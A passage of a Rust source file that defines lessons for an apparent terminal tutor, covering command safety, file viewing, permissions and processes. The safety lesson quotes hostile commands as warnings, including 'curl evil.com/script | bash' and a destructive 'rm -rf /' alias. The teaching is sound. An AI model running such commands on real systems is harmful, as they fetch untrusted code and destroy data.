858                    content: "⚡ REDIRECTS CAN OVERWRITE FILES INSTANTLY!\n\nDangerous redirects:\n\n❌ command > important.txt\n   • Single > OVERWRITES the file completely!\n   • If command is empty, you just erased your file!\n\n❌ command > /etc/passwd\n   • Overwriting system files breaks your system!\n\n❌ cat file.txt > file.txt\n   • You just erased file.txt with an empty file!\n   • (Can't read and write same file this way)\n\nSafe practices:\n\n✅ command >> file.txt  (double >> appends instead of overwriting)\n✅ Always backup first: cp important.txt important.txt.bak\n✅ Test commands first: command > /tmp/test.txt\n✅ Use 'set -o noclobber' to prevent accidental overwrites\n\nRemember: > is INSTANT and PERMANENT!".to_string(),
859                },
860            },
861            LessonStep {
862                step_number: 8,
863                title: "Copy-Paste from the Internet".to_string(),
864                instruction: "".to_string(),
865                hint: None,
866                step_type: StepType::MultipleChoice {
867                    question: "You found a cool command on a random website. What should you do?".to_string(),
868                    options: vec![
869                        "Copy-paste it immediately into your terminal".to_string(),
870                        "Add sudo to make sure it works".to_string(),
871                        "Read and understand what each part does, then type it yourself".to_string(),
872                        "Run it in another user's account first".to_string(),
873                    ],
874                    correct_index: 2,
875                    explanation: "CORRECT! Always READ and UNDERSTAND commands first!\n\nInternet command safety:\n\n❌ Malicious examples you might see:\n   • curl evil.com/script | bash  (runs hidden malware!)\n   • alias ls='rm -rf /'  (makes 'ls' destroy your system!)\n   • Hidden characters that do something different than shown\n\n✅ Safe practices:\n   1️⃣  READ every part of the command\n   2️⃣  Look up unfamiliar commands with 'man' or '--help'\n   3️⃣  TYPE commands yourself (don't copy-paste!)\n   4️⃣  Be skeptical of commands that:\n      • Use sudo unnecessarily\n      • Pipe curl/wget to bash\n      • Have > redirects to system files\n      • Use rm, chmod, or other dangerous commands\n   5️⃣  Only trust official documentation\n\nWhen in doubt, ask an expert or research more!".to_string(),
876                },
877            },
878            LessonStep {
879                step_number: 9,
880                title: "File System Navigation Mistakes".to_string(),
881                instruction: "".to_string(),
882                hint: None,
883                step_type: StepType::Information {
884                    content: "🗺️  ALWAYS KNOW WHERE YOU ARE!\n\nCommon navigation mistakes:\n\n❌ Running destructive commands without checking location:\n   pwd  ← Always do this first!\n   # Oh no, I'm in / not /tmp!\n\n❌ Typos in paths with destructive commands:\n   cd /tmpp/work     ← Failed (typo)\n   rm -rf *          ← Just deleted wrong directory!\n\n❌ Assuming you're in the right directory:\n   cd ~/projects/myapp\n   # ...later...\n   rm -rf node_modules  ← Are you still in myapp?\n\nSafe practices:\n\n✅ Always 'pwd' before destructive operations\n✅ Use absolute paths for important operations:\n   rm -rf /tmp/test instead of cd /tmp && rm -rf test\n✅ Use tab completion to avoid typos\n✅ Create a habit: 'pwd' → 'ls' → then act\n✅ Be extra careful in /tmp, /, and system directories".to_string(),
885                },
886            },
887            LessonStep {
888                step_number: 10,
889                title: "Hidden Files and Spaces in Names".to_string(),
890                instruction: "".to_string(),
891                hint: None,
892                step_type: StepType::Information {
893                    content: "👻 WATCH OUT FOR HIDDEN FILES AND SPACES!\n\nHidden file dangers:\n\n❌ rm -rf * → Deletes visible files only\n❌ rm -rf * .* → DANGEROUS! .* matches .. (parent directory!)\n✅ rm -rf * .[^.]* → Safe way to include hidden files\n\nSpaces in filenames:\n\n❌ rm my file.txt → Tries to delete 'my' and 'file.txt'\n✅ rm \"my file.txt\" → Correct (quotes protect spaces)\n✅ rm my\\ file.txt → Also correct (backslash escapes space)\n✅ Use tab completion to auto-escape spaces!\n\nOther tricky characters:\n\n❌ Files starting with - (dash) confuse commands:\n   rm -file.txt → Thinks it's a flag!\n   ✅ rm ./-file.txt → Correct way\n\n❌ Files with special characters: !@#$%^&*()\n   ✅ Always use quotes or escape them\n\nBest practice: Avoid spaces in filenames! Use underscores or dashes:\n  my-file.txt or my_file.txt".to_string(),
894                },
895            },
896            LessonStep {
897                step_number: 11,
898                title: "Environment Variable Dangers".to_string(),
899                instruction: "".to_string(),
900                hint: None,
901                step_type: StepType::Information {
902                    content: "🔧 BE CAREFUL WITH ENVIRONMENT VARIABLES!\n\nDangerous modifications:\n\n❌ export PATH=/usr/bin\n   • Overwrites entire PATH (breaks most commands!)\n   ✅ export PATH=$PATH:/usr/bin (appends instead)\n\n❌ unset PATH\n   • Makes most commands unusable!\n\n❌ Adding untrusted directories to PATH:\n   export PATH=/tmp:$PATH\n   • Now malicious /tmp/ls could run instead of real ls!\n\nSystem file dangers:\n\n❌ NEVER edit these without understanding them:\n   • /etc/passwd → User accounts\n   • /etc/fstab → Disk mounting (can prevent boot!)\n   • /etc/hosts → Network resolution\n   • /boot/* → Boot files (can break booting!)\n\n✅ Safe practices:\n   • Always backup before editing: sudo cp /etc/passwd /etc/passwd.bak\n   • Use proper editors: sudo vi /etc/hosts\n   • Test changes in your home directory first\n   • Keep recovery USB drive handy!".to_string(),
903                },
904            },
905            LessonStep {
906                step_number: 12,
907                title: "Completion: Safety Knowledge Acquired!".to_string(),
908                instruction: "".to_string(),
909                hint: None,
910                step_type: StepType::Information {
911                    content: "🎓 CONGRATULATIONS! You're now aware of major dangers!\n\n🛡️  GOLDEN RULES TO REMEMBER:\n\n1️⃣  NEVER run 'rm -rf /' or 'rm -rf /*'\n2️⃣  ALWAYS use -i flag with rm, mv, cp\n3️⃣  NEVER use chmod 777 on anything\n4️⃣  ALWAYS read commands before running them\n5️⃣  NEVER blindly copy-paste from the internet\n6️⃣  ALWAYS pwd before destructive operations\n7️⃣  NEVER pipe curl to bash without reading the script\n8️⃣  ALWAYS use sudo minimally and carefully\n9️⃣  NEVER assume you're in the right directory\n🔟 ALWAYS backup important files before operations\n\n💡 When in doubt:\n  • man <command> → Read the manual\n  • <command> --help → Get help info\n  • Ask in forums/communities\n  • Test in /tmp or virtual machine first\n  • Make backups before experimenting\n\nStay safe and enjoy the power of the command line! 🚀\n\nNext: Practice these lessons in safe environments!".to_string(),
912                },
913            },
914        ],
915    }
916}
917
918/// Create the "File Viewing & Reading" lesson
919fn create_file_viewing_lesson() -> Lesson {
920    Lesson {
921        id: "file-viewing".to_string(),
922        title: "File Viewing & Reading".to_string(),
923        description: "Master the art of reading, viewing, and searching through text files using cat, less, head, tail, and grep.".to_string(),
924        difficulty: Difficulty::Beginner,
925        estimated_minutes: 12,
926        prerequisites: vec!["nav-basics".to_string()],
927        tags: vec!["beginner".to_string(), "files".to_string(), "text".to_string()],
928        setup: vec![
929            SetupFile {
930                path: "notes.txt".to_string(),
931                contents: "Shopping list:\n- apples\n- bread\n- coffee\n\nReminder: practice cat, less, head, tail and grep on the files here.\n".to_string(),
932            },
933            SetupFile {
934                path: "server.log".to_string(),
935                contents: "2026-07-01 09:00:01 INFO  http server started on port 8080\n\
9362026-07-01 09:00:02 INFO  ssh daemon listening on port 22\n\
9372026-07-01 09:01:14 INFO  http GET /index.html 200\n\
9382026-07-01 09:02:33 WARN  http GET /admin 403\n\
9392026-07-01 09:03:05 INFO  SSH login accepted for user alice\n\
9402026-07-01 09:04:41 ERROR http GET /missing 404\n\
9412026-07-01 09:05:12 INFO  http GET /about.html 200\n\
9422026-07-01 09:06:58 WARN  disk usage at 81%\n\
9432026-07-01 09:07:23 INFO  http POST /contact 200\n\
9442026-07-01 09:08:44 ERROR ssh login failed for user bob\n\
9452026-07-01 09:09:31 INFO  http GET /index.html 200\n\
9462026-07-01 09:10:02 INFO  backup job started\n\
9472026-07-01 09:12:19 INFO  backup job finished\n\
9482026-07-01 09:13:37 INFO  http GET /docs 200\n\
9492026-07-01 09:14:55 ERROR http GET /broken 500\n\
9502026-07-01 09:15:10 INFO  SSH session closed for user alice\n\
9512026-07-01 09:16:42 INFO  http GET /index.html 200\n\
9522026-07-01 09:17:08 WARN  slow query took 4.2s\n\
9532026-07-01 09:18:29 INFO  http GET /blog 200\n\
9542026-07-01 09:19:59 INFO  server heartbeat OK\n".to_string(),
955            },
956            SetupFile {
957                path: "poem.txt".to_string(),
958                contents: "The terminal glows in quiet night,\nEach command a spark of light.\nWith cat and grep the text takes flight,\nAnd tail reveals the end in sight.\n".to_string(),
959            },
960        ],
961        steps: vec![
962            LessonStep {
963                step_number: 1,
964                title: "Introduction to File Viewing".to_string(),
965                instruction: "".to_string(),
966                hint: None,
967                step_type: StepType::Information {
968                    content: "Welcome to File Viewing & Reading!\n\nIn Linux, almost everything is a text file - configuration files, logs, scripts, and more. Knowing how to quickly read and search through files is essential.\n\nYou'll learn:\n  • cat - Display entire files\n  • less - Navigate large files\n  • head/tail - View file beginnings and ends\n  • grep - Search for patterns in files\n\nThese tools are your windows into the file system. Let's get started!".to_string(),
969                },
970            },
971            LessonStep {
972                step_number: 2,
973                title: "Using cat to Display Files".to_string(),
974                instruction: "The 'cat' command (concatenate) displays file contents. Try viewing a file with cat /etc/hostname".to_string(),
975                hint: Some("Type: cat /etc/hostname".to_string()),
976                step_type: StepType::CommandExercise {
977                    expected_command: "cat /etc/hostname".to_string(),
978                    validation: CommandValidation::Exact,
979                    success_message: "Perfect! 'cat' dumps the entire file to your screen. Great for small files, but overwhelming for large ones.".to_string(),
980                },
981            },
982            LessonStep {
983                step_number: 3,
984                title: "Viewing Multiple Files".to_string(),
985                instruction: "cat can display multiple files at once. Try: cat /etc/hostname /etc/os-release".to_string(),
986                hint: Some("Type exactly: cat /etc/hostname /etc/os-release".to_string()),
987                step_type: StepType::CommandExercise {
988                    expected_command: "cat /etc/hostname /etc/os-release".to_string(),
989                    validation: CommandValidation::Exact,
990                    success_message: "Excellent! cat concatenates (combines) multiple files and displays them in order. That's why it's called 'cat'!".to_string(),
991                },
992            },
993            LessonStep {
994                step_number: 4,
995                title: "Reading Large Files with less".to_string(),
996                instruction: "For large files, use 'less' which lets you scroll. It's like a book reader. Try: less /etc/services".to_string(),
997                hint: Some("Type: less /etc/services (use arrow keys to scroll, 'q' to quit)".to_string()),
998                step_type: StepType::CommandExercise {
999                    expected_command: "less /etc/services".to_string(),
1000                    validation: CommandValidation::Exact,
1001                    success_message: "Great! In less: arrow keys scroll, Space=page down, 'b'=page up, '/'=search, 'q'=quit. It's named 'less' because 'less is more' (improving on the old 'more' command).".to_string(),
1002                },
1003            },
1004            LessonStep {
1005                step_number: 5,
1006                title: "Quiz: When to Use cat vs less?".to_string(),
1007                instruction: "".to_string(),
1008                hint: None,
1009                step_type: StepType::MultipleChoice {
1010                    question: "When should you use 'less' instead of 'cat'?".to_string(),
1011                    options: vec![
1012                        "Always use cat, it's faster".to_string(),
1013                        "For large files where you need to scroll and search".to_string(),
1014                        "Only for binary files".to_string(),
1015                        "When you want to edit the file".to_string(),
1016                    ],
1017                    correct_index: 1,
1018                    explanation: "Correct! Use 'less' for large files (logs, documentation) where you need to scroll and search. Use 'cat' for quick viewing of small files or when piping to other commands. Neither cat nor less can edit files - use a text editor like nano or vim for that!".to_string(),
1019                },
1020            },
1021            LessonStep {
1022                step_number: 6,
1023                title: "Viewing File Beginnings with head".to_string(),
1024                instruction: "To see just the first few lines of a file, use 'head'. Try viewing the first 10 lines of /etc/services".to_string(),
1025                hint: Some("Type: head /etc/services".to_string()),
1026                step_type: StepType::CommandExercise {
1027                    expected_command: "head /etc/services".to_string(),
1028                    validation: CommandValidation::Exact,
1029                    success_message: "Perfect! By default, 'head' shows the first 10 lines. Great for previewing files or checking log file headers.".to_string(),
1030                },
1031            },
1032            LessonStep {
1033                step_number: 7,
1034                title: "Custom Line Count with head".to_string(),
1035                instruction: "You can specify how many lines to show with -n. Try showing the first 5 lines: head -n 5 /etc/services".to_string(),
1036                hint: Some("Type: head -n 5 /etc/services".to_string()),
1037                step_type: StepType::CommandExercise {
1038                    expected_command: "head -n 5 /etc/services".to_string(),
1039                    validation: CommandValidation::Exact,
1040                    success_message: "Excellent! The -n flag controls the number of lines. You can also use the shorthand: head -5 /etc/services".to_string(),
1041                },
1042            },
1043            LessonStep {
1044                step_number: 8,
1045                title: "Viewing File Endings with tail".to_string(),
1046                instruction: "To see the last lines of a file, use 'tail'. This is crucial for checking log files. Try: tail /etc/services".to_string(),
1047                hint: Some("Type: tail /etc/services".to_string()),
1048                step_type: StepType::CommandExercise {
1049                    expected_command: "tail /etc/services".to_string(),
1050                    validation: CommandValidation::Exact,
1051                    success_message: "Great! 'tail' shows the last 10 lines by default. Essential for checking recent log entries!".to_string(),
1052                },
1053            },
1054            LessonStep {
1055                step_number: 9,
1056                title: "Live Log Monitoring".to_string(),
1057                instruction: "".to_string(),
1058                hint: None,
1059                step_type: StepType::Information {
1060                    content: "Pro tip: tail -f (follow mode)\n\nThe -f flag makes tail continuously show new lines as they're added to a file:\n\n  tail -f /var/log/syslog\n\nThis is INCREDIBLY useful for:\n  • Monitoring live log files\n  • Watching application output\n  • Debugging server issues\n  • Tracking file changes in real-time\n\nPress Ctrl+C to stop following.\n\nExample: tail -f /var/log/nginx/access.log\nWatches web server traffic in real-time!".to_string(),
1061                },
1062            },
1063            LessonStep {
1064                step_number: 10,
1065                title: "Introduction to grep".to_string(),
1066                instruction: "grep searches for patterns in files. It's like Ctrl+F for the command line. Search for 'http' in /etc/services: grep http /etc/services".to_string(),
1067                hint: Some("Type: grep http /etc/services".to_string()),
1068                step_type: StepType::CommandExercise {
1069                    expected_command: "grep http /etc/services".to_string(),
1070                    validation: CommandValidation::Exact,
1071                    success_message: "Perfect! grep found all lines containing 'http'. Each matching line is displayed with the pattern highlighted.".to_string(),
1072                },
1073            },
1074            LessonStep {
1075                step_number: 11,
1076                title: "Case-Insensitive Search".to_string(),
1077                instruction: "By default, grep is case-sensitive. Use -i for case-insensitive search. Try: grep -i SSH /etc/services".to_string(),
1078                hint: Some("Type: grep -i SSH /etc/services".to_string()),
1079                step_type: StepType::CommandExercise {
1080                    expected_command: "grep -i SSH /etc/services".to_string(),
1081                    validation: CommandValidation::AnyOf(vec![
1082                        "grep -i SSH /etc/services".to_string(),
1083                        "grep -i ssh /etc/services".to_string(),
1084                    ]),
1085                    success_message: "Excellent! The -i flag makes grep ignore case, matching 'SSH', 'ssh', 'Ssh', etc. Very useful when you're not sure of the exact capitalization.".to_string(),
1086                },
1087            },
1088            LessonStep {
1089                step_number: 12,
1090                title: "Completion: File Viewing Mastered!".to_string(),
1091                instruction: "".to_string(),
1092                hint: None,
1093                step_type: StepType::Information {
1094                    content: "Congratulations! You've mastered file viewing!\n\nKey commands learned:\n  • cat file.txt           - Display entire file\n  • cat file1 file2        - Display multiple files\n  • less file.txt          - Navigate large files (q to quit)\n  • head file.txt          - First 10 lines\n  • head -n 20 file.txt    - First 20 lines\n  • tail file.txt          - Last 10 lines\n  • tail -f file.txt       - Follow file (live updates)\n  • grep pattern file      - Search for pattern\n  • grep -i pattern file   - Case-insensitive search\n\nQuick reference:\n  Small files? → cat\n  Large files? → less\n  Check beginning? → head\n  Check end/logs? → tail\n  Find something? → grep\n  Watch live logs? → tail -f\n\nNext lesson: Learn text processing with pipes and filters!".to_string(),
1095                },
1096            },
1097        ],
1098    }
1099}
1100
1101/// Create the "Permissions & Ownership" lesson
1102fn create_permissions_lesson() -> Lesson {
1103    Lesson {
1104        id: "permissions".to_string(),
1105        title: "Permissions & Ownership".to_string(),
1106        description: "Understand Linux file permissions, ownership, and how to modify them safely using chmod and chown.".to_string(),
1107        difficulty: Difficulty::Intermediate,
1108        estimated_minutes: 15,
1109        prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
1110        tags: vec!["intermediate".to_string(), "permissions".to_string(), "security".to_string()],
1111        setup: vec![],
1112        steps: vec![
1113            LessonStep {
1114                step_number: 1,
1115                title: "Understanding Linux Permissions".to_string(),
1116                instruction: "".to_string(),
1117                hint: None,
1118                step_type: StepType::Information {
1119                    content: "Welcome to Permissions & Ownership!\n\nLinux is a multi-user system. Permissions control who can read, write, or execute files.\n\nWhen you run 'ls -l', you see something like:\n  -rw-r--r-- 1 user group 1234 Nov 16 10:30 file.txt\n\nLet's decode this:\n  -rw-r--r--  ← Permissions (10 characters)\n  1           ← Number of hard links\n  user        ← Owner\n  group       ← Group\n  1234        ← Size in bytes\n  Nov 16...   ← Last modified date/time\n  file.txt    ← Filename\n\nWe'll focus on permissions and ownership. Understanding this is crucial for security!".to_string(),
1120                },
1121            },
1122            LessonStep {
1123                step_number: 2,
1124                title: "Viewing Permissions".to_string(),
1125                instruction: "First, let's see permissions in action. Use 'ls -l' to view detailed file information in your home directory.".to_string(),
1126                hint: Some("Type: ls -l".to_string()),
1127                step_type: StepType::CommandExercise {
1128                    expected_command: "ls -l".to_string(),
1129                    validation: CommandValidation::CommandOnly,
1130                    success_message: "Great! Look at the first column - those cryptic letters are the permissions. Let's decode them!".to_string(),
1131                },
1132            },
1133            LessonStep {
1134                step_number: 3,
1135                title: "Decoding Permission Strings".to_string(),
1136                instruction: "".to_string(),
1137                hint: None,
1138                step_type: StepType::Information {
1139                    content: "Understanding the 10-character permission string:\n\n  -rw-r--r--\n  ↑↑↑↑↑↑↑↑↑↑\n  │││││││││└─ Others: read\n  ││││││││└── Others: write (no)\n  │││││││└─── Others: execute (no)\n  ││││││└──── Group: read\n  │││││└───── Group: write (no)\n  ││││└────── Group: execute (no)\n  │││└─────── Owner: read\n  ││└──────── Owner: write\n  │└───────── Owner: execute (no)\n  └────────── File type (- = file, d = directory, l = link)\n\nThree permission types:\n  r = read (4)    - View file contents\n  w = write (2)   - Modify or delete\n  x = execute (1) - Run as program/script\n\nThree permission groups:\n  Owner → Group → Others (everyone else)".to_string(),
1140                },
1141            },
1142            LessonStep {
1143                step_number: 4,
1144                title: "Quiz: Reading Permissions".to_string(),
1145                instruction: "".to_string(),
1146                hint: None,
1147                step_type: StepType::MultipleChoice {
1148                    question: "A file has permissions '-rwxr-x---'. What can the group do?".to_string(),
1149                    options: vec![
1150                        "Read, write, and execute".to_string(),
1151                        "Read and execute only".to_string(),
1152                        "Execute only".to_string(),
1153                        "Nothing - no permissions".to_string(),
1154                    ],
1155                    correct_index: 1,
1156                    explanation: "Correct! Breaking it down: -rwxr-x---\nOwner (rwx) can do everything. Group (r-x) can read and execute but NOT write. Others (---) have no permissions at all. The middle set of three characters (r-x) represents group permissions.".to_string(),
1157                },
1158            },
1159            LessonStep {
1160                step_number: 5,
1161                title: "Numeric Permission Notation".to_string(),
1162                instruction: "".to_string(),
1163                hint: None,
1164                step_type: StepType::Information {
1165                    content: "Permissions can be expressed as numbers!\n\nEach permission has a value:\n  r (read)    = 4\n  w (write)   = 2\n  x (execute) = 1\n  - (none)    = 0\n\nAdd them up for each group:\n  rwx = 4+2+1 = 7 (all permissions)\n  rw- = 4+2+0 = 6 (read + write)\n  r-x = 4+0+1 = 5 (read + execute)\n  r-- = 4+0+0 = 4 (read only)\n  --- = 0+0+0 = 0 (no permissions)\n\nCommon permission sets:\n  644 = rw-r--r-- (owner writes, others read)\n  755 = rwxr-xr-x (owner writes, all execute)\n  600 = rw------- (owner only, private file)\n  777 = rwxrwxrwx (DANGEROUS - everyone can do everything!)\n\nExample: -rw-r--r-- = 644".to_string(),
1166                },
1167            },
1168            LessonStep {
1169                step_number: 6,
1170                title: "Quiz: Numeric Permissions".to_string(),
1171                instruction: "".to_string(),
1172                hint: None,
1173                step_type: StepType::MultipleChoice {
1174                    question: "What does 'chmod 755 script.sh' do?".to_string(),
1175                    options: vec![
1176                        "Owner: read only, Group/Others: read + execute".to_string(),
1177                        "Owner: all permissions, Group/Others: read + execute".to_string(),
1178                        "Everyone: all permissions (dangerous!)".to_string(),
1179                        "Owner: read + write, Group/Others: read only".to_string(),
1180                    ],
1181                    correct_index: 1,
1182                    explanation: "Correct! 755 means:\n  7 (owner) = rwx = 4+2+1 = full control\n  5 (group) = r-x = 4+0+1 = read and execute\n  5 (others) = r-x = 4+0+1 = read and execute\n\nThis is perfect for scripts and executables - the owner can modify it, but everyone can run it. Common for programs in /usr/bin!".to_string(),
1183                },
1184            },
1185            LessonStep {
1186                step_number: 7,
1187                title: "Using chmod with Numbers".to_string(),
1188                instruction: "Let's practice! First, create a test file: touch testfile.txt, then set its permissions to 644: chmod 644 testfile.txt".to_string(),
1189                hint: Some("Type two commands: touch testfile.txt then chmod 644 testfile.txt".to_string()),
1190                step_type: StepType::CommandExercise {
1191                    expected_command: "chmod 644 testfile.txt".to_string(),
1192                    validation: CommandValidation::Exact,
1193                    success_message: "Perfect! You've set the file to rw-r--r-- (644). You can write to it, but others can only read. This is the standard for regular files.".to_string(),
1194                },
1195            },
1196            LessonStep {
1197                step_number: 8,
1198                title: "Using chmod with Symbolic Notation".to_string(),
1199                instruction: "You can also use letters! Make testfile.txt executable for the owner: chmod u+x testfile.txt".to_string(),
1200                hint: Some("Type: chmod u+x testfile.txt (u=user/owner, +x=add execute)".to_string()),
1201                step_type: StepType::CommandExercise {
1202                    expected_command: "chmod u+x testfile.txt".to_string(),
1203                    validation: CommandValidation::Exact,
1204                    success_message: "Excellent! Symbolic notation is intuitive:\n  u=user/owner, g=group, o=others, a=all\n  +=add, -=remove, ==set exactly\n  r=read, w=write, x=execute\n\nExamples: chmod g+w file (group can write), chmod o-r file (others can't read)".to_string(),
1205                },
1206            },
1207            LessonStep {
1208                step_number: 9,
1209                title: "Making Scripts Executable".to_string(),
1210                instruction: "Common task: making a script runnable. Use the shorthand to add execute permission for everyone: chmod +x testfile.txt".to_string(),
1211                hint: Some("Type: chmod +x testfile.txt (no u/g/o means 'all')".to_string()),
1212                step_type: StepType::CommandExercise {
1213                    expected_command: "chmod +x testfile.txt".to_string(),
1214                    validation: CommandValidation::Exact,
1215                    success_message: "Great! When you omit u/g/o, it applies to all. 'chmod +x' is the quickest way to make a script executable. Now you could run it with ./testfile.txt (if it were a script).".to_string(),
1216                },
1217            },
1218            LessonStep {
1219                step_number: 10,
1220                title: "Understanding Ownership".to_string(),
1221                instruction: "".to_string(),
1222                hint: None,
1223                step_type: StepType::Information {
1224                    content: "File Ownership in Linux:\n\nEvery file has TWO owners:\n  1. User owner (usually who created it)\n  2. Group owner (for sharing among team members)\n\nIn 'ls -l' output:\n  -rw-r--r-- 1 alice developers 1234 Nov 16 file.txt\n              ↑     ↑\n              user  group\n\nWhy does this matter?\n  • Users in 'developers' group get the group permissions\n  • Everyone else gets the 'others' permissions\n  • Only root (admin) or the owner can change ownership\n\nCommon use case:\n  Web server files owned by 'www-data' user and group\n  Log files owned by 'syslog' user for security".to_string(),
1225                },
1226            },
1227            LessonStep {
1228                step_number: 11,
1229                title: "Changing Ownership with chown".to_string(),
1230                instruction: "".to_string(),
1231                hint: None,
1232                step_type: StepType::Information {
1233                    content: "The chown command changes file ownership:\n\nSyntax:\n  chown user:group file.txt\n  chown user file.txt        (just change user)\n  chown :group file.txt      (just change group)\n\nExamples:\n  sudo chown alice:developers file.txt\n  sudo chown www-data:www-data /var/www/index.html\n  sudo chown -R user:group /path/to/directory  (-R = recursive)\n\nIMPORTANT:\n  • Usually requires sudo (only root can change ownership)\n  • Be careful with -R (recursive) - affects all files inside!\n  • Don't change ownership of system files unless you know what you're doing\n\nFor practice, you typically don't need chown on your own files.\nYou're already the owner!".to_string(),
1234                },
1235            },
1236            LessonStep {
1237                step_number: 12,
1238                title: "Quiz: Permission Safety".to_string(),
1239                instruction: "".to_string(),
1240                hint: None,
1241                step_type: StepType::MultipleChoice {
1242                    question: "Why should you NEVER use 'chmod 777' on files?".to_string(),
1243                    options: vec![
1244                        "It's too complicated to type".to_string(),
1245                        "It gives EVERYONE full read, write, execute access - a security nightmare!".to_string(),
1246                        "It makes files read-only".to_string(),
1247                        "It only works on directories".to_string(),
1248                    ],
1249                    correct_index: 1,
1250                    explanation: "CORRECT! chmod 777 = rwxrwxrwx means EVERYONE on the system can read, modify, delete, and execute your file. This is a massive security risk!\n\nNever use 777! Instead:\n  • 644 for regular files (rw-r--r--)\n  • 755 for scripts/executables (rwxr-xr-x)\n  • 600 for private files (rw-------)\n  • 700 for private scripts (rwx------)\n\nUse minimal permissions needed. It's the principle of least privilege!".to_string(),
1251                },
1252            },
1253            LessonStep {
1254                step_number: 13,
1255                title: "Completion: Permissions Mastered!".to_string(),
1256                instruction: "".to_string(),
1257                hint: None,
1258                step_type: StepType::Information {
1259                    content: "Excellent work! You understand Linux permissions!\n\nKey concepts:\n  • Three permission types: read (r), write (w), execute (x)\n  • Three groups: owner, group, others\n  • Numeric notation: 644, 755, 600, 700\n  • Symbolic notation: u+x, g-w, o=r\n\nEssential commands:\n  ls -l                  View permissions\n  chmod 644 file         Set permissions (numeric)\n  chmod u+x file         Add execute for owner (symbolic)\n  chmod +x file          Make executable for all\n  chown user:group file  Change ownership (needs sudo)\n\nSafety rules:\n  ✓ Never chmod 777 (security risk!)\n  ✓ Use minimal permissions needed\n  ✓ 644 for files, 755 for executables\n  ✓ 600/700 for private data\n  ✓ Be careful with -R (recursive)\n\nNext: Learn process management!".to_string(),
1260                },
1261            },
1262        ],
1263    }
1264}
1265
1266/// Create the "Process Management" lesson
1267fn create_process_management_lesson() -> Lesson {
1268    Lesson {
1269        id: "process-mgmt".to_string(),
1270        title: "Process Management".to_string(),
1271        description: "Learn to monitor and control running processes using ps, top, kill, and background job management.".to_string(),
1272        difficulty: Difficulty::Intermediate,
1273        estimated_minutes: 15,
1274        prerequisites: vec!["nav-basics".to_string()],
1275        tags: vec!["intermediate".to_string(), "processes".to_string(), "system".to_string()],
1276        setup: vec![],
1277        steps: vec![
1278            LessonStep {
1279                step_number: 1,
1280                title: "Introduction to Processes".to_string(),
1281                instruction: "".to_string(),
1282                hint: None,
1283                step_type: StepType::Information {
1284                    content: "Welcome to Process Management!\n\nA 'process' is a running program. Every command you execute becomes a process. Your system runs hundreds of processes simultaneously.\n\nKey concepts:\n  • PID (Process ID) - Unique number for each process\n  • Parent/Child - Processes can spawn other processes\n  • Foreground - Process using your terminal\n  • Background - Process running without blocking terminal\n  • Zombie - Dead process that hasn't been cleaned up\n\nYou'll learn to:\n  • View running processes\n  • Monitor system resources\n  • Kill misbehaving processes\n  • Run tasks in the background\n\nLet's dive in!".to_string(),
1285                },
1286            },
1287            LessonStep {
1288                step_number: 2,
1289                title: "Viewing Your Processes".to_string(),
1290                instruction: "The 'ps' command shows running processes. Try it: ps".to_string(),
1291                hint: Some("Type: ps".to_string()),
1292                step_type: StepType::CommandExercise {
1293                    expected_command: "ps".to_string(),
1294                    validation: CommandValidation::CommandOnly,
1295                    success_message: "Good! You see a short list of processes in your current terminal. But there's much more happening! Let's see everything.".to_string(),
1296                },
1297            },
1298            LessonStep {
1299                step_number: 3,
1300                title: "Viewing All Processes".to_string(),
1301                instruction: "To see ALL processes on the system, use: ps aux (a=all users, u=user-oriented format, x=include processes without terminals)".to_string(),
1302                hint: Some("Type: ps aux".to_string()),
1303                step_type: StepType::CommandExercise {
1304                    expected_command: "ps aux".to_string(),
1305                    validation: CommandValidation::Exact,
1306                    success_message: "Wow! Look at all those processes! Each line shows: USER, PID, CPU%, MEM%, COMMAND. This is a snapshot of your entire system.".to_string(),
1307                },
1308            },
1309            LessonStep {
1310                step_number: 4,
1311                title: "Understanding ps Output".to_string(),
1312                instruction: "".to_string(),
1313                hint: None,
1314                step_type: StepType::Information {
1315                    content: "Decoding 'ps aux' output:\n\nUSER    PID %CPU %MEM    VSZ   RSS TTY   STAT START   TIME COMMAND\nroot      1  0.0  0.1 168580 12140 ?     Ss   Nov15   0:01 /sbin/init\n\nColumns explained:\n  USER  - Who owns the process\n  PID   - Process ID (unique identifier)\n  %CPU  - CPU usage percentage\n  %MEM  - Memory usage percentage\n  VSZ   - Virtual memory size (KB)\n  RSS   - Resident memory size (KB, actual RAM used)\n  TTY   - Terminal (? means no terminal)\n  STAT  - Process state:\n          S = Sleeping (waiting)\n          R = Running\n          Z = Zombie (dead but not cleaned up)\n          T = sTopped\n          s = session leader\n          + = foreground process\n  START - When process started\n  TIME  - CPU time used\n  COMMAND - The actual command/program".to_string(),
1316                },
1317            },
1318            LessonStep {
1319                step_number: 5,
1320                title: "Quiz: Process States".to_string(),
1321                instruction: "".to_string(),
1322                hint: None,
1323                step_type: StepType::MultipleChoice {
1324                    question: "A process shows state 'Z' in ps output. What does this mean?".to_string(),
1325                    options: vec![
1326                        "The process is running normally".to_string(),
1327                        "The process is asleep/waiting".to_string(),
1328                        "It's a zombie - process finished but parent hasn't collected its exit status".to_string(),
1329                        "The process is using zero CPU".to_string(),
1330                    ],
1331                    correct_index: 2,
1332                    explanation: "Correct! A 'Z' (zombie) process has completed execution but its parent hasn't read its exit status yet. They usually clean up quickly. If you see many zombies, the parent process might be buggy. Zombies don't use resources but indicate a problem.".to_string(),
1333                },
1334            },
1335            LessonStep {
1336                step_number: 6,
1337                title: "Real-Time Monitoring with top".to_string(),
1338                instruction: "The 'top' command shows processes in real-time, updating every few seconds. Try it: top".to_string(),
1339                hint: Some("Type: top (press 'q' to quit when you're done looking)".to_string()),
1340                step_type: StepType::CommandExercise {
1341                    expected_command: "top".to_string(),
1342                    validation: CommandValidation::CommandOnly,
1343                    success_message: "Great! 'top' is like a live dashboard. It shows:\n  • Top section: system summary (CPU, memory, uptime)\n  • Bottom: processes sorted by CPU usage\n  • Press 'M' to sort by memory, 'P' for CPU, 'q' to quit\n  • Press 'k' to kill a process by PID".to_string(),
1344                },
1345            },
1346            LessonStep {
1347                step_number: 7,
1348                title: "Finding Specific Processes".to_string(),
1349                instruction: "To find a specific process, combine ps with grep. Try searching for bash processes: ps aux | grep bash".to_string(),
1350                hint: Some("Type: ps aux | grep bash".to_string()),
1351                step_type: StepType::CommandExercise {
1352                    expected_command: "ps aux | grep bash".to_string(),
1353                    validation: CommandValidation::Exact,
1354                    success_message: "Perfect! The pipe (|) sends ps output to grep, which filters for lines containing 'bash'. This is how you find specific running programs. Note: you'll also see the grep command itself in the results!".to_string(),
1355                },
1356            },
1357            LessonStep {
